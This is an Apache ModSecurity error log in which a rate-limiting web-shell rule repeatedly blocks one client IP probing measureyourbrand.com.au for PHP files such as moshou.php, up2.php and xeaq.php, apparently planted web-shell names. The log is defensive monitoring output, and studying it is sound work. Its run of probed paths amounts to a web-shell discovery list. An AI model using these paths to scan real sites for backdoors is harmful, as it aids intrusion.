[Tue Apr 28 19:48:01.257165 2026] [:error] [pid 2741:tid 2760] [client 68.221.203.83:18601] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "afCecfp92FeOz1h6ILznYwAAAU4"]
[Tue Apr 28 19:48:01.884957 2026] [:error] [pid 33775:tid 33803] [client 68.221.203.83:23111] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "afCecZsYOcoQrq88YbUplQAAANg"]
[Tue Apr 28 19:48:02.416847 2026] [:error] [pid 33775:tid 33789] [client 68.221.203.83:57187] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "afCecpsYOcoQrq88YbUplwAAAMo"]
[Tue Apr 28 19:48:03.079885 2026] [:error] [pid 2741:tid 2756] [client 68.221.203.83:57814] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "afCec_p92FeOz1h6ILznZAAAAUo"]
[Tue Apr 28 19:48:04.433565 2026] [:error] [pid 33776:tid 33811] [client 68.221.203.83:57853] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "afCedF-bEJ2CKP3iKAAtqwAAAEM"]
[Tue Apr 28 19:48:05.060355 2026] [:error] [pid 33775:tid 33780] [client 68.221.203.83:23150] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "afCedZsYOcoQrq88YbUpmQAAAME"]
[Tue Apr 28 19:48:05.679911 2026] [:error] [pid 2741:tid 2763] [client 68.221.203.83:23154] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "afCedfp92FeOz1h6ILznagAAAVE"]
[Tue Apr 28 19:48:06.389819 2026] [:error] [pid 33776:tid 33809] [client 68.221.203.83:23156] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "afCedl-bEJ2CKP3iKAAtrgAAAEE"]
[Tue Apr 28 19:48:07.104321 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:57197] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "afCed_p92FeOz1h6ILzncQAAAUs"]
[Tue Apr 28 19:48:07.716762 2026] [:error] [pid 50889:tid 50901] [client 68.221.203.83:18587] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "afCed4zszBr00txEzGg-rgAAAAk"]
[Tue Apr 28 19:48:08.589796 2026] [:error] [pid 50889:tid 50909] [client 68.221.203.83:20727] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "afCeeIzszBr00txEzGg-rwAAABE"]
[Tue Apr 28 19:48:09.299862 2026] [:error] [pid 33864:tid 33878] [client 68.221.203.83:57205] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "afCeeTXchLGZ4QggCskaEQAAAIw"]
[Tue Apr 28 19:48:10.031110 2026] [:error] [pid 33864:tid 33875] [client 68.221.203.83:20725] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "afCeejXchLGZ4QggCskaEwAAAIk"]
[Tue Apr 28 19:48:10.753500 2026] [:error] [pid 33864:tid 33870] [client 68.221.203.83:24923] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "afCeejXchLGZ4QggCskaFQAAAIQ"]
[Tue Apr 28 19:48:11.355868 2026] [:error] [pid 33776:tid 33825] [client 68.221.203.83:20634] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "afCee1-bEJ2CKP3iKAAtsAAAAFE"]
[Tue Apr 28 19:48:12.104936 2026] [:error] [pid 33776:tid 33819] [client 68.221.203.83:57793] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "afCefF-bEJ2CKP3iKAAtsgAAAEs"]
[Tue Apr 28 19:48:12.742222 2026] [:error] [pid 33864:tid 33874] [client 68.221.203.83:20627] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "afCefDXchLGZ4QggCskaGAAAAIg"]
[Tue Apr 28 19:48:13.298163 2026] [:error] [pid 33776:tid 33810] [client 68.221.203.83:18622] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "afCefV-bEJ2CKP3iKAAtswAAAEI"]
[Tue Apr 28 19:48:13.954968 2026] [:error] [pid 33864:tid 33871] [client 68.221.203.83:23152] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "afCefTXchLGZ4QggCskaHAAAAIU"]
[Tue Apr 28 19:48:14.559936 2026] [:error] [pid 33775:tid 33781] [client 68.221.203.83:24940] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "afCefpsYOcoQrq88YbUpmgAAAMI"]
[Tue Apr 28 19:48:15.123895 2026] [:error] [pid 33776:tid 33820] [client 68.221.203.83:8337] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "afCef1-bEJ2CKP3iKAAttgAAAEw"]
[Tue Apr 28 19:48:15.693967 2026] [:error] [pid 33777:tid 33849] [client 68.221.203.83:20714] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "afCef7XUCFWqmordGGLRwAAAAQ4"]
[Tue Apr 28 19:48:16.211394 2026] [:error] [pid 33775:tid 33795] [client 68.221.203.83:57823] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "afCegJsYOcoQrq88YbUpmwAAANA"]
[Tue Apr 28 19:48:16.746506 2026] [:error] [pid 50889:tid 50907] [client 68.221.203.83:57210] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "afCegIzszBr00txEzGg-tAAAAA8"]
[Tue Apr 28 19:48:17.282419 2026] [:error] [pid 33775:tid 33788] [client 68.221.203.83:57166] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "afCegZsYOcoQrq88YbUpnQAAAMk"]
[Tue Apr 28 19:48:17.801942 2026] [:error] [pid 33775:tid 33798] [client 68.221.203.83:20679] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "afCegZsYOcoQrq88YbUpngAAANM"]
[Tue Apr 28 19:48:18.433939 2026] [:error] [pid 50889:tid 50916] [client 68.221.203.83:20673] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "afCegozszBr00txEzGg-uAAAABg"]
[Tue Apr 28 19:48:19.061119 2026] [:error] [pid 50889:tid 50902] [client 68.221.203.83:57174] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "afCeg4zszBr00txEzGg-uQAAAAo"]
[Tue Apr 28 19:48:19.751531 2026] [:error] [pid 33775:tid 33792] [client 68.221.203.83:57847] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "afCeg5sYOcoQrq88YbUpoAAAAM0"]
[Tue Apr 28 19:48:20.407587 2026] [:error] [pid 33776:tid 33812] [client 68.221.203.83:18606] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afCehF-bEJ2CKP3iKAAtugAAAEQ"]
[Tue Apr 28 19:48:21.025350 2026] [:error] [pid 33776:tid 33811] [client 68.221.203.83:20684] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afCehV-bEJ2CKP3iKAAtvQAAAEM"]
[Tue Apr 28 19:48:21.574689 2026] [:error] [pid 2741:tid 2765] [client 68.221.203.83:20704] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afCehfp92FeOz1h6ILzndAAAAVM"]
[Tue Apr 28 19:48:22.148628 2026] [:error] [pid 33864:tid 33879] [client 68.221.203.83:57799] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afCehjXchLGZ4QggCskaHwAAAI0"]
[Tue Apr 28 19:48:22.714650 2026] [:error] [pid 50889:tid 50899] [client 68.221.203.83:18623] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afCehozszBr00txEzGg-vAAAAAc"]
[Tue Apr 28 19:48:23.404598 2026] [:error] [pid 2741:tid 2748] [client 68.221.203.83:57194] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afCeh_p92FeOz1h6ILzndQAAAUI"]
[Tue Apr 28 19:48:24.033135 2026] [:error] [pid 33864:tid 33875] [client 68.221.203.83:23161] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afCeiDXchLGZ4QggCskaIAAAAIk"]
[Tue Apr 28 19:48:24.866546 2026] [:error] [pid 33777:tid 33837] [client 68.221.203.83:18563] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afCeiLXUCFWqmordGGLRwwAAAQI"]
[Tue Apr 28 19:48:25.486308 2026] [:error] [pid 50889:tid 50909] [client 68.221.203.83:24906] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tews.php"] [unique_id "afCeiYzszBr00txEzGg-vgAAABE"]
[Tue Apr 28 19:48:26.128510 2026] [:error] [pid 33864:tid 33870] [client 68.221.203.83:23143] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tews.php"] [unique_id "afCeijXchLGZ4QggCskaIgAAAIQ"]
[Tue Apr 28 19:48:26.799828 2026] [:error] [pid 33864:tid 33876] [client 68.221.203.83:23105] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tews.php"] [unique_id "afCeijXchLGZ4QggCskaIwAAAIo"]
[Tue Apr 28 19:48:27.454858 2026] [:error] [pid 33864:tid 33885] [client 68.221.203.83:57152] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tews.php"] [unique_id "afCeizXchLGZ4QggCskaJgAAAJM"]
[Tue Apr 28 19:48:28.079388 2026] [:error] [pid 50889:tid 50912] [client 68.221.203.83:24913] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "afCejIzszBr00txEzGg-vwAAABQ"]
[Tue Apr 28 19:48:28.608521 2026] [:error] [pid 50889:tid 50895] [client 68.221.203.83:24907] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "afCejIzszBr00txEzGg-wAAAAAM"]
[Tue Apr 28 19:48:29.208288 2026] [:error] [pid 50889:tid 50906] [client 68.221.203.83:23157] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "afCejYzszBr00txEzGg-wQAAAA4"]
[Tue Apr 28 19:48:29.706088 2026] [:error] [pid 50889:tid 50910] [client 68.221.203.83:18596] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "afCejYzszBr00txEzGg-wwAAABI"]
[Tue Apr 28 19:48:30.246750 2026] [:error] [pid 33775:tid 33794] [client 68.221.203.83:20683] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xeaq.php"] [unique_id "afCejpsYOcoQrq88YbUpowAAAM8"]
[Tue Apr 28 19:48:30.998152 2026] [:error] [pid 50889:tid 50905] [client 68.221.203.83:23138] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xeaq.php"] [unique_id "afCejozszBr00txEzGg-xwAAAA0"]
[Tue Apr 28 19:48:31.672357 2026] [:error] [pid 50889:tid 50916] [client 68.221.203.83:57177] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xeaq.php"] [unique_id "afCej4zszBr00txEzGg-ygAAABg"]
[Tue Apr 28 19:48:32.207865 2026] [:error] [pid 33864:tid 33881] [client 68.221.203.83:18607] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xeaq.php"] [unique_id "afCekDXchLGZ4QggCskaKgAAAI8"]
[Tue Apr 28 19:48:32.842490 2026] [:error] [pid 33775:tid 33800] [client 68.221.203.83:21807] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up2.php"] [unique_id "afCekJsYOcoQrq88YbUppAAAANU"]
[Tue Apr 28 19:48:33.483954 2026] [:error] [pid 33776:tid 33823] [client 68.221.203.83:18597] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up2.php"] [unique_id "afCekV-bEJ2CKP3iKAAtyQAAAE8"]
[Tue Apr 28 19:48:34.062322 2026] [:error] [pid 33864:tid 33873] [client 68.221.203.83:20615] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up2.php"] [unique_id "afCekjXchLGZ4QggCskaLAAAAIc"]
[Tue Apr 28 19:48:34.608127 2026] [:error] [pid 33777:tid 33857] [client 68.221.203.83:57161] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up2.php"] [unique_id "afCekrXUCFWqmordGGLRxwAAARY"]
[Tue Apr 28 19:48:35.229806 2026] [:error] [pid 50889:tid 50896] [client 68.221.203.83:8353] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afCek4zszBr00txEzGg-0gAAAAQ"]
[Tue Apr 28 19:48:36.101072 2026] [:error] [pid 33777:tid 33850] [client 68.221.203.83:20686] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afCelLXUCFWqmordGGLRzQAAAQ8"]
[Tue Apr 28 19:48:36.680945 2026] [:error] [pid 33777:tid 33849] [client 68.221.203.83:20712] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afCelLXUCFWqmordGGLR0AAAAQ4"]
